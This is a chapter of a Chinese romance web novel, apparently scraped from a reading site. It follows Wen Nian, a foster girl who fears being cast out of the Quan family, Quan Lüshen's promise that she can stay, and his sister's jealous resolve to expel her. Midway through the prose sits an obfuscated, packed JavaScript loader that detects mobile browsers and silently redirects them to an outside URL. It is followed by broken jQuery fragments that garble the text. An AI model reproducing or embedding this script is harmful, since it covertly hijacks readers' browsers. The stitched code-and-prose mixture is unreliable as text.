62. 第六十二章

作品:《缺爱的万人迷

    她们之间又说了什么,温念已经听不见了。


    因为她整个人都被巨大的痛楚击中。


    羡慕,渴望,痛苦,恐慌,绝望……


    没什么意外的,都是可以理解的……


    权珍珍是莫阿姨的亲生女儿,她们本来就该这样……


    从很久很久以前,温念就清楚的知道,这个世界是不公平的。


    命运这种东西,也是真切存在的。


    有的人命好,有的人命差;有些东西从出生时没有,这辈子都没办法再有。


    可是……为什么,还是会这么难过呢?


    真的好难过啊……浑身的力气像是被抽干了,就连灵魂也变得千疮百孔,破烂不堪。


    果然,是无论怎么努力都没办法改变的吗?


    果然,她注定只能被放弃?


    温念浑身瘫软的靠着冰凉的墙壁,眼泪不知不觉就流了满脸。


    其实,她对权珍珍真的没有一丝敌意的,也不敢有。


    从没想过要去争些什么,无论是她吃剩下漏下的糕点渣,还是她不要的、扔进垃圾桶里的旧衣裳,她都可以满足。


    她真的不贪心的……


    所以,求求你们,拜托,不要赶她走……


    温念脸色苍白,浑身颤抖,小手捂着嘴巴,才强忍着没有发出一点声音。


    寂静空旷的走廊,昏暗的光线,世界上仿佛只剩下她一个人。


    直到眼前突然照下一团阴影。


    入目的是由私人高级定制的,质地极好的皮鞋,光滑可鉴的鞋面上,映照着温念哭得一塌糊涂的脸。


    她颤抖着抬起头,向上是笔挺的裤腿。


    好长的腿,价值不菲的布料剪裁得体,紧紧包裹着男人充满力量感的矫健躯体。


    气质好,长得好,身材也好。无论是战斗力,还是能力,都是当之无愧的王者,无人能敌。


    这样的男人,是权珍珍的哥哥。


    是她的保护神,为她撑起一片天空。


    ……也是自己遥不可及的梦,是永远也无法触及的存在。


    朦胧的泪眼中,就连视线也变得模糊。


    温念捂着嘴,抑制不住的啜泣着,然后也就错过了男人冷峻眼中那一闪而过的柔和。


    ……


    温念来到权家一年,这是权律深第二次主动和她说话。


    居高临下的视角中,身材娇小的女孩身形瘦弱,浅黄的暖光里,双肩孱弱得仿佛透明一般。


    她哀哀哭泣着,抱着肩膀,不住颤抖。


    多可怜,多无助,多绝望。


    ……但也说不出的可爱。


    不知从什么时候开始,在权律深的脑海里,温念的脸变得愈发清晰深刻起来,柔和的脸庞,黝黑清澈的眼,下垂的眼尾,小巧的鼻子,形状优美的嘴……


    其实,看起来完美无缺的权律深并不是真的那样完美,他一直有一个从未被人发现的缺点……


    他其实是个脸盲。


    每天要见得人都很多,人们形色匆匆,顶着一张张如出一辙的、模糊的、毫无记忆点的脸。


    这个缺点算不上多致命,但也的确不会让人觉得多愉悦。生活陈乏可善,可能也有这方面原因,让他对女人一直没什么兴趣。


    无所谓美,也就无所谓丑,一个个面目模糊的影子,一个个公式化的个体。


    对于普通人而言,这样的毛病无疑会给生活造成很大困扰。


    但权律深显然不是普通人,哪怕无法看清人脸,他依旧可以通过声音,通过服饰,通过一个人的肢体动作,还有气质,来精准的分辨他们的区别。


    所以,这么久以来,竟然没有一个人发现他的这个毛病。


    就连他早逝的父亲,甚至莫银芝与权珍珍,都不知晓他有这个毛病。


    所以,是从什么时候开始,温念变得不一样的呢?


    是从那个下着雨的夜晚?


    不,似乎还要更早些。


    温念是不一样的,她的身上有种很特别的东西,权律深分辨不出,却还是忍不住被吸引。


    他其实是个相当冷情的人。


    或者说,像他们这种智商高到一定程度的人,都很冷情,对待情感有着更为理性的审视和把控。


    整个世界就是一场巨大的交易。人与人之间,国与国之间,没有做不成的买卖,只有谈不拢的价格。


    唯一超脱于这些冰冷之上的,就是亲情。


    由血脉连接的情意,的确是许多东西无法比拟的,是无法抹去的链接。


    所以权律深最看重亲情,他将自己仅存的唯二两个亲人看得比什么都都要更重。


    用他自己的方式去爱护她们,保护她们,也禁锢着她们。


    他原本以为自己一辈子都要这样生活下去,不会有什么意外,


    ……却没想到,会遇到温念。


    这个女孩很特别,的确很特别。


    从一开始,权律深就意识到这点。


    不起眼的外表像水,内里却又像火。


    看似柔弱不堪,性情却意外的坚韧。


    也许正是因为这个原因,他格外抗拒她。


    除了不喜欢她取代妹妹的位置,或许也有些别的原因,比如潜意识中感受到的危险,预感到这个看似羸弱的、不起眼的女孩,会在未来的某一天,彻底改变他的生活,


    让他变成一个不那么像他自己的……疯子。


    此时,看着眼前哭得泣不成声的女孩,权律深缓缓抬起手臂,对着她伸出手。


    “别怕。”


    当时的他是这样说的。


    “母亲将你带回权家,你就是权家人,所以,你放心,往后谁也不能把你赶走。”


    权律深一字一句,低沉的声音如同不容置疑的保证。


    对于此时的温念而言,眼前的男人就如同天神降临,身形无比伟岸,头顶环绕着圣光。


    他就是天神,救苦救难的天神,悲悯又仁慈。


    他向着她伸出手,轻而易举便将她从绝望的恐惧中拉出,给予她新生的希望。


    当时温念哭得好伤心啊。


    豆大的眼泪如珠子般一滴接着一滴的滚出,连成线,顺着苍白的脸颊簌簌而下。


    朦胧泪眼中,她第一次鼓起勇气,就像一只被打湿了羽毛的小鸟,径直扑到权律深怀里。


    女孩从没有这么大胆过,权律深明显愣了下。


    一向泰山压顶也面不改色的男人,此刻也不由自主柔和了眉眼。


    片刻后,缓缓抬起手臂,轻轻揽住她的肩……


    ……


    她将他抱得好紧,细弱的手臂紧紧扯着他的衣摆,就像是溺水之人,抱住最后一根救命的稻草。


    女孩的身体无比娇软,柔嫩的触感,淡雅的香气萦绕在鼻端,也让男人心中生出些莫名的情绪。


    难以形容的感觉,就像是一根羽毛在心口扫过,刺挠刺挠的,还带着阵阵战栗。


    他的嗓子有些痒,烟瘾犯了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101157|159818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    权律深有烟瘾,这件事的确有些令人惊讶,却并非难以理解。


    生活很累,压力也大,活着无趣,总需要一个抒发口。


    就算没有烟,也要有些别的东西,比如酒,比如咖啡,比如手机。


    所有人只能看到他作为权家家主叱咤风云的模样,却没有人能感受到他的压力。


    父亲意外牺牲,十九岁的少年面对内忧外患,他能做什么?又该做什么?


    除了强迫自己被迫成熟,还有别的方法吗?


    从曾经的少年意气,到如今的杀伐果断,这其中经历了多少痛苦?


    可是不管那些一路跟随他出生入死的下属,甚至唯二的血亲,没有谁能真正理解他,也没有谁会真的被他掌控。


    于是他的心也缺了一块。


    始终空荡荡的,摸不着边际。


    权律深是强大的,所以他从来不会畏惧这些。


    可他也是个人。


    是人就有弱点,就有感情。


    难以形容的感觉,那种微妙的吸引力,就好像……心脏空出来的部分被填满一样。


    柔弱的女孩,就像是他的烟瘾,可以轻而易举的掌控。无论生死还是灵魂,被他吸入肺腑,填满他空出来的空缺。


    ……


    权律深的保证,温念信了。


    怎么能不信呢?


    这可是权律深,权家家主,四大家族当之无愧的掌门人。


    这样的男人,碾死她就跟碾死一只蚂蚁一样简单。


    而他给予的承诺,自然也重如泰山。


    那天晚上,温念是紧紧握着那两颗糖入睡的。


    就连睡着的时候,梦里都盈满了湿润氤氲的的水汽。


    她本以为,有了权律深的话,日子便可以继续这样安稳的过下去。


    她可以伏低做小,也不在乎权珍珍的冷眼,她始终坚信,只要足够努力,就总有一天可以赢得权珍珍的认可与接纳,


    ——却唯独低估了一个大小姐的嫉妒心。


    是啊,权珍珍当然是有嫉妒心的,并且很强烈。


    这世上的感情,并非只有爱情有独占欲,在某些时候,亲情与友情的嫉妒心反而更强。


    特别是像权珍珍这种人,从小顺风顺水长大,被父母亲人娇宠着长大,从未受过委屈,集万千宠爱于一身。


    她没有吃过苦,自然无法忍耐半分委屈。


    她深知自己如今所拥有的一切,都是因为母亲与哥哥,也因此,将他们的宠爱看得极重。


    所以,偶然闯入这个家里的温念,也就成了她的眼中钉,肉中刺。


    你凭什么住在我的家里?


    你凭什么成为我的替身?


    在我不在的这段日子,就是你一直在陪着母亲?


    你想做什么?想要取代我吗?想要抢走我的妈妈和哥哥?


    权珍珍的心里像是有一团火在烧,看着温念小心翼翼,满脸讨好的模样,就觉得格外刺眼,心脏像是被一双无形的手紧紧揪住,愤怒又不安。


    所以,不行啊,一定要赶她走。


    一山不能容二虎,她们的身份从一开始就是对立的,注定无法成为朋友。


    哪怕温念什么都不做,但她的存在,对于权珍珍而言就是威胁,是伤害。


    趴伏在莫银芝的怀里,权珍珍暗自握紧拳头,下定决心,


    她一定要将温念赶走。


    于是,几天后,好不容易才重新返回权家的权珍珍,再一次失踪了。